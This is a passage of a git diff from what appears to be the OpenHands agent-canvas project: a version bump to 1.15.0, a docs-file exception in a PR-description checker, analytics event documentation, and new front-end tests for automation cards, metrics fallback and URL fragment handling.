diff --git a/.github/scripts/check_pr_description.py b/.github/scripts/check_pr_description.py index 93f91ff38f72..185eef34e25b 100644 --- a/.github/scripts/check_pr_description.py +++ b/.github/scripts/check_pr_description.py @@ -57,6 +57,8 @@ ".sass", ".less", ) +# Docs carry no visual state, so a screenshot can't evidence a change to them. +DOCUMENTATION_FILE_EXTENSIONS: tuple[str, ...] = (".md", ".mdx") FRONTEND_CONFIG_GLOBS: tuple[str, ...] = ( "tailwind.config.*", "vite.config.*", @@ -155,9 +157,11 @@ def extract_human_note(body: str) -> str: def is_frontend_file(path: str) -> bool: """Return True if a changed file should be treated as frontend code.""" normalized = path.lstrip("./") + lower = normalized.lower() + if lower.endswith(DOCUMENTATION_FILE_EXTENSIONS): + return False if any(normalized.startswith(prefix) for prefix in FRONTEND_PATH_PREFIXES): return True - lower = normalized.lower() if any(lower.endswith(ext) for ext in FRONTEND_FILE_EXTENSIONS): return True name = normalized.split("/")[-1] diff --git a/.github/scripts/tests/test_pr_description.py b/.github/scripts/tests/test_pr_description.py index dcb4cda38ee1..8fe26393aff6 100644 --- a/.github/scripts/tests/test_pr_description.py +++ b/.github/scripts/tests/test_pr_description.py @@ -8,6 +8,8 @@ sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) from check_pr_description import ( + is_frontend_file, + touches_frontend, extract_linked_issue_numbers, extract_pr_type, validate_linked_issue_ready, @@ -222,3 +224,23 @@ def test_bug_fix_with_video_link_no_errors(): """ errors = validate_bug_fix_evidence(body) assert errors == [] + + +def test_markdown_under_frontend_prefix_is_not_frontend(): + assert not is_frontend_file("__tests__/router.md") + assert not is_frontend_file("src/notes.md") + assert not is_frontend_file("public/README.mdx") + +def test_markdown_outside_frontend_prefix_still_not_frontend(): + assert not is_frontend_file("docs/README.md") + +def test_frontend_code_under_prefix_still_frontend(): + assert is_frontend_file("src/app.tsx") + assert is_frontend_file("__tests__/routes/launch.test.tsx") + assert is_frontend_file("src/styles/main.css") + +def test_docs_only_change_does_not_require_frontend_evidence(): + assert not touches_frontend(["__tests__/router.md", "docs/README.md"]) + +def test_mixed_change_still_requires_frontend_evidence(): + assert touches_frontend(["__tests__/router.md", "src/app.tsx"]) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 2ef9a1c2e140..a25d1bc0c2ed 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "1.14.0" + ".": "1.15.0" } diff --git a/AGENTS.md b/AGENTS.md index 13e724cc79a4..8cb09693202f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -74,6 +74,54 @@ One Canvas-owned PostHog client owns telemetry and app analytics. 2. Add the function to the hook's `return` object 3. Destructure and call it from the component: `const { trackFoo } = useTracking()` +### Event dictionary: onboarding_link_clicked + +One stable event for every onboarding link/CTA click. New onboarding links must +reuse this contract (extend the unions in `use-tracking.ts`), never add one-off +events per destination. + +Properties (all values controlled enums or booleans — never raw destination +URLs, query params, or link text; `current_url` is the standard app-page common +property, not a destination): +- `link_id` (`OnboardingLinkId`): `configure_llm` | `start_conversation` | + `schedule_task` | `customize_agent` | `connect_mcp` | `join_slack` | + `open_docs` +- `destination_type` (`OnboardingLinkDestinationType`): `community` | + `integration` | `documentation` | `settings` | `conversation` | `automation` +- `surface` (`OnboardingLinkSurface`): `landing_checklist` | + `onboarding_modal` (reserved; no modal links are instrumented yet) +- `checklist_item` (optional): the owning checklist item's `link_id`; set on + every `landing_checklist` emission, including `open_docs` clicks +- `step_id` (optional): reserved for future onboarding-modal links +- `is_external` (boolean): whether the destination leaves the app + +Instrumented CTAs (sidebar "Getting started" checklist; the row link and its +preview action CTA intentionally share one `link_id` — same destination): + +| Checklist item | Row + preview action | Preview docs link | +|---|---|---| +| Add LLM API key | `configure_llm` / `settings` / internal | `open_docs` / `documentation` / external | +| Start your first chat | `start_conversation` / `conversation` / internal | `open_docs` | +| Schedule a task | `schedule_task` / `automation` / internal | `open_docs` | +| Customize your agent | `customize_agent` / `settings` / internal | `open_docs` | +| Connect an MCP integration | `connect_mcp` / `integration` / internal | `open_docs` | +| Join the OpenHands Slack | `join_slack` / `community` / external | `open_docs` | + +Excluded CTAs (per the one-canonical-capture rule above): +- Onboarding-modal wizard controls (back/next/skip/close, agent cards) → + covered by `onboarding_step_viewed` / `onboarding_completed` / + `onboarding_skipped` +- Modal backend-connect CTAs and the backend form's docs links → + `backend_added` with `source: "onboarding"` +- LLM settings help links inside the embedded settings screen (shared with + non-onboarding surfaces) → setup outcome captured by `settings_saved` +- Recommended-automation cards → `prebuilt_automation_enabled` +- Checklist expand/collapse toggle and the settings visibility switch → UI + state, not destination links + +Known limitation: middle-click (`auxclick`) opens are not captured; tracking +uses React `onClick` only and never prevents default navigation. + ### Env vars `VITE_POSTHOG_API_KEY` is the sole build-time PostHog key. Unconfigured source builds use staging; official release workflows set production explicitly. Precompiled consumers use runtime configuration instead. diff --git a/README.md b/README.md index 43cd296ad32f..913095dc94a5 100644 --- a/README.md +++ b/README.md @@ -96,7 +96,7 @@ docker run -it --rm \ -p 8000:8000 \ -v "$HOME/.openhands:/home/openhands/.openhands" \ -v "${PROJECTS_PATH}:/projects" \ - ghcr.io/openhands/agent-canvas:1.14.0 # x-release-please-version + ghcr.io/openhands/agent-canvas:1.15.0 # x-release-please-version ``` **Windows (PowerShell / Windows Terminal):** See [README.windows.md](./README.windows.md) for the equivalent commands. diff --git a/README.windows.md b/README.windows.md index 46dbb2fef1d0..f31d86fcf4b2 100644 --- a/README.windows.md +++ b/README.windows.md @@ -12,7 +12,7 @@ For the main install options and overall context, see [README.md](./README.md). - A host directory for `PROJECTS_PATH` containing the project folders you want the agent to access (create it before starting the container) ```powershell -docker pull ghcr.io/openhands/agent-canvas:1.14.0 # x-release-please-version +docker pull ghcr.io/openhands/agent-canvas:1.15.0 # x-release-please-version $env:PROJECTS_PATH = Join-Path $HOME "projects" # directory containing your project folders New-Item -ItemType Directory -Force -Path $env:PROJECTS_PATH, (Join-Path $env:USERPROFILE ".openhands") | Out-Null @@ -21,7 +21,7 @@ docker run -it --rm ` -p 8000:8000 ` -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` -v "$($env:PROJECTS_PATH):/projects" ` - ghcr.io/openhands/agent-canvas:1.14.0 # x-release-please-version + ghcr.io/openhands/agent-canvas:1.15.0 # x-release-please-version ``` Open [http://localhost:8000/canvas](http://localhost:8000/canvas) in your browser. diff --git a/__tests__/api/agent-server-adapter.test.ts b/__tests__/api/agent-server-adapter.test.ts index a403cde75a72..aa43678562f0 100644 --- a/__tests__/api/agent-server-adapter.test.ts +++ b/__tests__/api/agent-server-adapter.test.ts @@ -918,6 +918,93 @@ describe("toAppConversation", () => { updated_at: "2026-01-01T00:00:00Z", }; + it("combines stats.usage_to_metrics into metrics when the backend doesn't set metrics directly (#16480)", () => { + const result = toAppConversation({ + ...baseInfo, + stats: { + usage_to_metrics: { + agent: { + model_name: "agent-model", + accumulated_cost: 1.5, + max_budget_per_task: 10, + accumulated_token_usage: { + prompt_tokens: 100, + completion_tokens: 20, + cache_read_tokens: 5, + cache_write_tokens: 1, + context_window: 8000, + per_turn_token: 120, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + condenser: { + model_name: "condenser-model", + accumulated_cost: 0.5, + max_budget_per_task: null, + accumulated_token_usage: { + prompt_tokens: 40, + completion_tokens: 10, + cache_read_tokens: 0, + cache_write_tokens: 0, + context_window: 4000, + per_turn_token: 50, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }); + + expect(result.metrics).toEqual({ + accumulated_cost: 2, + max_budget_per_task: 10, + accumulated_token_usage: { + prompt_tokens: 140, + completion_tokens: 30, + cache_read_tokens: 5, + cache_write_tokens: 1, + context_window: 8000, + per_turn_token: 120, + }, + }); + }); + + it("prefers backend-provided metrics over stats.usage_to_metrics when both are present", () => { + const result = toAppConversation({ + ...baseInfo, + metrics: { accumulated_cost: 3, max_budget_per_task: null }, + stats: { + usage_to_metrics: { + agent: { + model_name: "agent-model", + accumulated_cost: 999, + max_budget_per_task: null, + accumulated_token_usage: null, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }); + + expect(result.metrics?.accumulated_cost).toBe(3); + }); + + it("defaults metrics to a zero-cost snapshot when neither metrics nor stats are present", () => { + const result = toAppConversation({ ...baseInfo }); + + expect(result.metrics).toEqual({ + accumulated_cost: 0, + max_budget_per_task: null, + accumulated_token_usage: null, + }); + }); + it("falls back to the default title when the backend returns null", () => { const result = toAppConversation({ ...baseInfo, title: null }); expect(result.title).toBe("Conversation 372eb"); diff --git a/__tests__/api/agent-server-conversation-service.test.ts b/__tests__/api/agent-server-conversation-service.test.ts index 0dbebf1a81a8..413f90731cf6 100644 --- a/__tests__/api/agent-server-conversation-service.test.ts +++ b/__tests__/api/agent-server-conversation-service.test.ts @@ -636,6 +636,50 @@ describe("AgentServerConversationService", () => { expect(result.items[0]?.sandbox_status).toBe("PAUSED"); }); + it("falls back to stats.usage_to_metrics when searchConversations omits metrics (#16480)", async () => { + const searchSpy = vi.fn().mockResolvedValue({ + items: [ + { + id: "conv-stats-only", + created_at: "2024-01-01", + updated_at: "2024-01-01", + stats: { + usage_to_metrics: { + default: { + model_name: "test-model", + accumulated_cost: 1.25, + max_budget_per_task: null, + accumulated_token_usage: { + prompt_tokens: 100, + completion_tokens: 50, + cache_read_tokens: 0, + cache_write_tokens: 0, + context_window: 8000, + per_turn_token: 150, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }, + ], + next_page_id: null, + }); + mockConversationClient.mockReturnValue({ + searchConversations: searchSpy, + }); + + const result = + await AgentServerConversationService.searchConversations(10); + + expect(result.items[0]?.metrics?.accumulated_cost).toBe(1.25); + expect( + result.items[0]?.metrics?.accumulated_token_usage?.prompt_tokens, + ).toBe(100); + }); + it("preserves the launched Agent Profile through the wire normalizer", async () => { mockHttpGet.mockResolvedValue({ data: [ diff --git a/__tests__/api/backend-registry/url-selection.test.ts b/__tests__/api/backend-registry/url-selection.test.ts index bc00fd27390a..40e6cc53da12 100644 --- a/__tests__/api/backend-registry/url-selection.test.ts +++ b/__tests__/api/backend-registry/url-selection.test.ts @@ -65,6 +65,73 @@ describe("withBackendSelectionParams", () => { `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1`, ); }); + + it("keeps a fragment after existing query parameters intact and after the query", () => { + const path = withBackendSelectionParams( + "/conversations/abc?tab=files#detail", + { + backend: localBackend, + orgId: null, + }, + ); + + expect(path).toBe( + `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1#detail`, + ); + }); + + it("keeps a fragment on a path without query parameters after the query", () => { + const path = withBackendSelectionParams("/conversations/abc#detail", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail`, + ); + }); + + it("does not treat a ? inside the fragment as a query separator", () => { + const path = withBackendSelectionParams("/conversations/abc#detail?x=1", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail?x=1`, + ); + }); + + it("round-trips an empty fragment verbatim", () => { + const path = withBackendSelectionParams("/conversations/abc#", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#`); + }); + + it("keeps the org id and the fragment together", () => { + const path = withBackendSelectionParams("/conversations/abc#detail", { + backend: cloudBackend, + orgId: "org-7", + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7#detail`, + ); + }); + + it("keeps query data that itself contains a ?", () => { + const path = withBackendSelectionParams("/conversations/abc?next=/a?b=1", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?next=%2Fa%3Fb%3D1&${BACKEND_QUERY_PARAM}=local-1`, + ); + }); }); describe("readBackendSelectionFromUrl", () => { diff --git a/__tests__/components/automations/automation-card.test.tsx b/__tests__/components/automations/automation-card.test.tsx index 71ae1b19658a..c55bc7645988 100644 --- a/__tests__/components/automations/automation-card.test.tsx +++ b/__tests__/components/automations/automation-card.test.tsx @@ -2,14 +2,22 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, expect, it, vi } from "vitest"; import { AutomationCard } from "#/components/features/automations/automation-card"; -import type { Automation } from "#/types/automation"; +import { + AutomationRunStatus, + type Automation, + type AutomationRun, +} from "#/types/automation"; +import type { InterfaceListInsights } from "#/manifests/types"; vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), + useTranslation: () => ({ + t: (key: string) => key, + i18n: { language: "en" }, + }), })); vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), + useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }), })); vi.mock("#/hooks/use-has-permission", () => ({ @@ -21,11 +29,37 @@ const automation: Automation = { name: "Async Standup Digest", prompt: "Generate an async standup digest from Slack activity.", enabled: true, - trigger: { type: "cron", schedule_human: "cron" }, + trigger: { type: "cron", schedule_human: "Mondays at 09:00" }, created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; +const insightsSpec = { + health: { + healthy: "Healthy", + failing: "Failing", + running: "Running", + disabled: "Disabled", + neverRun: "Never run", + checking: "Checking", + }, + lastRun: { label: "Last run", never: "Never", justNow: "Just now" }, + stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" }, +}; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:02:00Z", + ...overrides, + }; +} + describe("AutomationCard", () => { it("uses the shared extension module interactive class without a resting border", () => { render( @@ -40,9 +74,29 @@ describe("AutomationCard", () => { const card = screen.getByTestId("automation-card-automation-1"); expect(card.className).toContain("extension-module-card-interactive"); + expect(card.className).toContain("bg-base-secondary"); expect(card.className).not.toContain("border-[var(--oh-border)]"); - expect(card.className).not.toContain("hover:bg-surface-raised"); - expect(card.className).not.toContain("hover:ring"); + }); + + it("renders title, description, and overflow pills", () => { + render( + , + ); + + expect(screen.getByText("Async Standup Digest")).toBeInTheDocument(); + expect( + screen.getByText("Generate an async standup digest from Slack activity."), + ).toBeInTheDocument(); + expect(screen.getByText("Mondays at 09:00")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-pills-automation-1"), + ).toBeInTheDocument(); }); it("renders a play run button and menu actions instead of a toggle switch", async () => { @@ -60,9 +114,9 @@ describe("AutomationCard", () => { expect( screen.getByTestId("automation-run-now-automation-1"), - ).toHaveTextContent("AUTOMATIONS$RUN_NOW"); + ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW"); expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass( - "h-8", + "size-8", ); expect(screen.queryByRole("switch")).not.toBeInTheDocument(); @@ -71,6 +125,49 @@ describe("AutomationCard", () => { ); expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument(); - expect(screen.getAllByText("AUTOMATIONS$RUN_NOW")).toHaveLength(2); + expect(screen.getByText("AUTOMATIONS$RUN_NOW")).toBeInTheDocument(); + }); + + it("shows a status strip and sparkline when insights are present", () => { + const latestRun = createRun({ + started_at: new Date(Date.now() - 10 * 60_000).toISOString(), + completed_at: new Date(Date.now() - 8 * 60_000).toISOString(), + }); + + render( + , + ); + + expect(screen.queryByTestId("automation-health-badge")).not.toBeInTheDocument(); + expect( + screen.getByTestId("automation-last-run-automation-1"), + ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO"); + expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-activity-automation-1"), + ).toBeInTheDocument(); + expect(screen.getByTestId("automation-run-stats")).toBeInTheDocument(); + expect(screen.getByText("4")).toBeInTheDocument(); + expect(screen.getByText("100%")).toBeInTheDocument(); }); }); diff --git a/__tests__/components/automations/automation-list-row.test.tsx b/__tests__/components/automations/automation-list-row.test.tsx index 80a3c7ffecd5..b5925d8f75ac 100644 --- a/__tests__/components/automations/automation-list-row.test.tsx +++ b/__tests__/components/automations/automation-list-row.test.tsx @@ -2,14 +2,22 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, expect, it, vi } from "vitest"; import { AutomationListRow } from "#/components/features/automations/automation-list-row"; -import type { Automation } from "#/types/automation"; +import { + AutomationRunStatus, + type Automation, + type AutomationRun, +} from "#/types/automation"; +import type { InterfaceListInsights } from "#/manifests/types"; vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), + useTranslation: () => ({ + t: (key: string) => key, + i18n: { language: "en" }, + }), })); vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), + useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }), })); vi.mock("#/hooks/use-has-permission", () => ({ @@ -21,15 +29,45 @@ const automation: Automation = { name: "GitHub PR Reviewer", prompt: "Review pull requests.", enabled: true, - trigger: { type: "event" }, + trigger: { + type: "event", + on: "pull_request.opened", + source: "github", + }, repository: "acme/repo", model: "Claude", created_at: "2026-01-01T00:00:00Z", updated_at: "2026-01-01T00:00:00Z", }; +const insightsSpec = { + health: { + healthy: "Healthy", + failing: "Failing", + running: "Running", + disabled: "Disabled", + neverRun: "Never run", + checking: "Checking", + }, + lastRun: { label: "Last run", never: "Never", justNow: "Just now" }, + stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" }, +}; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:02:00Z", + ...overrides, + }; +} + describe("AutomationListRow", () => { - it("renders title, pills, and action icons in a table row layout", () => { + it("renders title, trigger meta, and action icons in a two-line list row", () => { render( { screen.getByTestId("automation-list-row-automation-1"), ).toBeInTheDocument(); expect(screen.getByText("GitHub PR Reviewer")).toBeInTheDocument(); + expect(screen.getByText("pull_request.opened")).toBeInTheDocument(); + expect(screen.getByText("GitHub")).toBeInTheDocument(); expect( - screen.getByTestId("automation-pills-automation-1"), - ).toBeInTheDocument(); + screen.queryByTestId("automation-pills-automation-1"), + ).not.toBeInTheDocument(); expect( screen.getByTestId("automation-run-now-automation-1"), ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW"); @@ -55,6 +95,45 @@ describe("AutomationListRow", () => { ); }); + it("shows last-run status, relative time, and a sparkline when insights are present", () => { + const latestRun = createRun({ + started_at: new Date(Date.now() - 10 * 60_000).toISOString(), + completed_at: new Date(Date.now() - 8 * 60_000).toISOString(), + }); + + render( + , + ); + + expect( + screen.getByTestId("automation-last-run-automation-1"), + ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO"); + expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); + expect( + screen.getByTestId("automation-activity-automation-1"), + ).toBeInTheDocument(); + }); + it("opens the actions menu without triggering row navigation handlers", async () => { const user = userEvent.setup(); diff --git a/__tests__/components/automations/build-automation-pills.test.tsx b/__tests__/components/automations/build-automation-pills.test.tsx new file mode 100644 index 000000000000..91a06dbe9df1 --- /dev/null +++ b/__tests__/components/automations/build-automation-pills.test.tsx @@ -0,0 +1,82 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; +import { buildAutomationMetadataPills } from "#/components/features/automations/build-automation-pills"; +import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row"; +import type { Automation } from "#/types/automation"; + +function buildAutomation(overrides: Partial = {}): Automation { + return { + id: "automation-1", + name: "Triage", + prompt: "Triage the issue.", + enabled: true, + trigger: { type: "event", on: "issue.updated", source: "linear" }, + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", + ...overrides, + }; +} + +function renderPills(pills: SkillCardPill[]) { + render( +
+ {pills.map((pill) => ( + + {pill.node} + + ))} +
, + ); +} + +describe("buildAutomationMetadataPills", () => { + it("puts the event and source on separate pills", () => { + const pills = buildAutomationMetadataPills(buildAutomation(), "unused"); + + expect(pills.map((pill) => pill.id)).toEqual([ + "event-trigger", + "event-source", + ]); + + renderPills(pills); + + expect(screen.getByTestId("pill-event-trigger")).toHaveTextContent( + "issue.updated", + ); + expect(screen.getByTestId("pill-event-trigger")).not.toHaveTextContent( + "linear", + ); + expect(screen.getByTestId("pill-event-source")).toHaveTextContent("Linear"); + expect(screen.getByTestId("pill-event-source").firstElementChild).toHaveClass( + "py-0.5", + ); + expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument(); + }); + + it("renders a fallback icon when the source is not in the catalog", () => { + renderPills( + buildAutomationMetadataPills( + buildAutomation({ + trigger: { type: "event", on: "alert.fired", source: "custom-pager" }, + }), + "unused", + ), + ); + + expect(screen.getByTestId("pill-event-source")).toHaveTextContent( + "Custom-Pager", + ); + expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument(); + }); + + it("omits the source pill when the event has no source", () => { + const pills = buildAutomationMetadataPills( + buildAutomation({ + trigger: { type: "event", on: "pull_request.opened" }, + }), + "unused", + ); + + expect(pills.map((pill) => pill.id)).toEqual(["event-trigger"]); + }); +}); diff --git a/__tests__/components/automations/detail/run-status-badge.test.tsx b/__tests__/components/automations/detail/run-status-badge.test.tsx index f5dd8ae85695..0181de0b2ebe 100644 --- a/__tests__/components/automations/detail/run-status-badge.test.tsx +++ b/__tests__/components/automations/detail/run-status-badge.test.tsx @@ -55,6 +55,15 @@ describe("RunStatusBadge", () => { expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument(); }); + it("renders compact pills without an outline and with tighter left padding", () => { + render(); + + const badge = screen.getByText(I18nKey.AUTOMATIONS$DETAIL$FAILED); + expect(badge.className).not.toContain("border"); + expect(badge).toHaveClass("pl-1"); + expect(badge).toHaveClass("pr-1.5"); + }); + it("renders the status word next to the icon when showLabel is set", () => { render( ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})); + +describe("RecommendedAutomationsRail", () => { + beforeEach(() => { + vi.stubGlobal( + "ResizeObserver", + class { + observe = vi.fn(); + + unobserve = vi.fn(); + + disconnect = vi.fn(); + }, + ); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + }); + + function mockScrollMetrics( + element: HTMLElement, + metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number }, + ) { + Object.defineProperty(element, "scrollWidth", { + configurable: true, + value: metrics.scrollWidth, + }); + Object.defineProperty(element, "clientWidth", { + configurable: true, + value: metrics.clientWidth, + }); + Object.defineProperty(element, "scrollLeft", { + configurable: true, + writable: true, + value: metrics.scrollLeft, + }); + } + + it("renders remaining proven workflows before conversation-only extras", () => { + render( + , + ); + + const cardIds = screen + .getAllByTestId(/^recommended-automation-rail-card-/) + .map((card) => + card + .getAttribute("data-testid") + ?.replace("recommended-automation-rail-card-", ""), + ); + + expect(cardIds).toEqual([ + "github-issue-to-pr", + "slack-channel-monitor", + "github-agents-md-maintainer", + "news-digest", + "slack-standup-digest", + "linear-triage-assistant", + "jira-issue-to-pr", + "research-brief-writer", + ]); + expect( + screen.getByText(I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_LABEL), + ).toBeInTheDocument(); + }); + + it("keeps space below the cards when later home sections are empty", () => { + render( + , + ); + + expect(screen.getByTestId("recommended-automations-rail")).toHaveClass( + AUTOMATION_STACK_SECTION_BOTTOM_CLASS, + ); + }); + + it("calls onSelect when a rail card is clicked", async () => { + const onSelect = vi.fn(); + const user = userEvent.setup(); + + render( + , + ); + + await user.click( + screen.getByTestId("recommended-automation-rail-card-slack-standup-digest"), + ); + + expect(onSelect).toHaveBeenCalledWith( + expect.objectContaining({ id: "slack-standup-digest" }), + ); + }); + + it("renders nothing when every recommended automation has been added", () => { + const { container } = render( + , + ); + + expect(container).toBeEmptyDOMElement(); + }); + + it("keeps a 40px icon row and overlaps multiple logos to the right", () => { + render( + , + ); + + const single = screen.getByTestId( + "recommended-automation-rail-icon-github-pr-reviewer", + ); + const overlap = screen.getByTestId( + "recommended-automation-rail-icon-jira-issue-to-pr", + ); + + expect(single).toHaveClass("h-10"); + expect(single).not.toHaveAttribute("data-layout"); + expect(overlap).toHaveClass("h-10", "-space-x-2"); + expect(overlap).toHaveAttribute("data-layout", "overlap"); + expect(overlap).not.toHaveClass("w-10", "bg-surface-raised"); + expect(overlap).not.toHaveAttribute("data-layout", "quadrants"); + }); + + describe("clipped-content fades", () => { + it("shows an edge gradient only on the clipped side", () => { + render( + , + ); + + const scroller = screen.getByTestId("recommended-automations-rail-scroll"); + const leftFade = screen.getByTestId( + "recommended-automations-rail-fade-left", + ); + const rightFade = screen.getByTestId( + "recommended-automations-rail-fade-right", + ); + + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 0, + }); + fireEvent.scroll(scroller); + + expect(rightFade).toHaveAttribute("data-visible", "true"); + expect(leftFade).toHaveAttribute("data-visible", "false"); + + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 580, + }); + fireEvent.scroll(scroller); + + expect(leftFade).toHaveAttribute("data-visible", "true"); + expect(rightFade).toHaveAttribute("data-visible", "false"); + }); + }); + + describe("drag-to-scroll", () => { + it("scrolls the rail while dragging with the mouse", () => { + render( + , + ); + const scroller = screen.getByTestId( + "recommended-automations-rail-scroll", + ); + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 100, + }); + + fireEvent.mouseDown(scroller, { button: 0, clientX: 300 }); + fireEvent.mouseMove(document, { clientX: 250, buttons: 1 }); + + expect(scroller.scrollLeft).toBe(150); + }); + + it("does not select a card on the click that ends a drag, but allows the next click", () => { + const onSelect = vi.fn(); + render( + , + ); + const card = screen.getByTestId( + "recommended-automation-rail-card-slack-standup-digest", + ); + + fireEvent.mouseDown(card, { button: 0, clientX: 300 }); + fireEvent.mouseMove(document, { clientX: 250, buttons: 1 }); + fireEvent.mouseUp(document); + fireEvent.click(card); + + expect(onSelect).not.toHaveBeenCalled(); + + fireEvent.mouseDown(card, { button: 0, clientX: 250 }); + fireEvent.mouseUp(document); + fireEvent.click(card); + + expect(onSelect).toHaveBeenCalledTimes(1); + }); + + it("treats movement below the drag threshold as a click", () => { + const onSelect = vi.fn(); + render( + , + ); + const card = screen.getByTestId( + "recommended-automation-rail-card-slack-standup-digest", + ); + + fireEvent.mouseDown(card, { button: 0, clientX: 300 }); + fireEvent.mouseMove(document, { clientX: 301, buttons: 1 }); + fireEvent.mouseUp(document); + fireEvent.click(card); + + expect(onSelect).toHaveBeenCalledTimes(1); + }); + + it("ignores drags started with a non-primary mouse button", () => { + render( + , + ); + const scroller = screen.getByTestId( + "recommended-automations-rail-scroll", + ); + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 100, + }); + + fireEvent.mouseDown(scroller, { button: 2, clientX: 300 }); + fireEvent.mouseMove(document, { clientX: 250, buttons: 2 }); + + expect(scroller.scrollLeft).toBe(100); + }); + + it("ends the drag once the primary button is no longer held", () => { + render( + , + ); + const scroller = screen.getByTestId( + "recommended-automations-rail-scroll", + ); + mockScrollMetrics(scroller, { + scrollWidth: 900, + clientWidth: 320, + scrollLeft: 100, + }); + + fireEvent.mouseDown(scroller, { button: 0, clientX: 300 }); + fireEvent.mouseMove(document, { clientX: 250, buttons: 1 }); + fireEvent.mouseMove(document, { clientX: 200, buttons: 0 }); + fireEvent.mouseMove(document, { clientX: 100, buttons: 1 }); + + expect(scroller.scrollLeft).toBe(150); + }); + }); +}); diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx index 7ca2db41aa9c..ab6016ebcad0 100644 --- a/__tests__/components/automations/recommended-automations.test.tsx +++ b/__tests__/components/automations/recommended-automations.test.tsx @@ -24,6 +24,7 @@ import { type NavigationContextValue, } from "#/context/navigation-context"; import type { Backend } from "#/api/backend-registry/types"; +import AutomationService from "#/api/automation-service/automation-service.api"; import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher"; import { RecommendedAutomationsSection, @@ -103,14 +104,20 @@ const navigationValue: NavigationContextValue = { navigate: mockNavigate, }; -function renderLauncher({ withBackendProvider = false } = {}) { +function renderLauncher({ + withBackendProvider = false, + variant = "catalog", +}: { + withBackendProvider?: boolean; + variant?: "catalog" | "rail"; +} = {}) { const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, }); const launcher = ( - + ); @@ -199,8 +206,11 @@ describe("recommended automations", () => { expect(cardIds).toEqual([ "github-pr-reviewer", - "github-repo-monitor", + "github-issue-to-pr", "slack-channel-monitor", + "github-agents-md-maintainer", + "news-digest", + "github-repo-monitor", "slack-standup-digest", "linear-triage-assistant", "jira-issue-to-pr", @@ -222,7 +232,7 @@ describe("recommended automations", () => { const provenHeading = screen.getByText( I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_TITLE, ).parentElement!; - expect(within(provenHeading).getByText("3")).toBeInTheDocument(); + expect(within(provenHeading).getByText("5")).toBeInTheDocument(); const betaHeading = screen.getByTestId( "recommended-automations-beta-heading", @@ -230,7 +240,7 @@ describe("recommended automations", () => { expect(betaHeading).toHaveTextContent( I18nKey.RECOMMENDED_AUTOMATIONS$BETA_LABEL, ); - expect(within(betaHeading).getByText("6")).toBeInTheDocument(); + 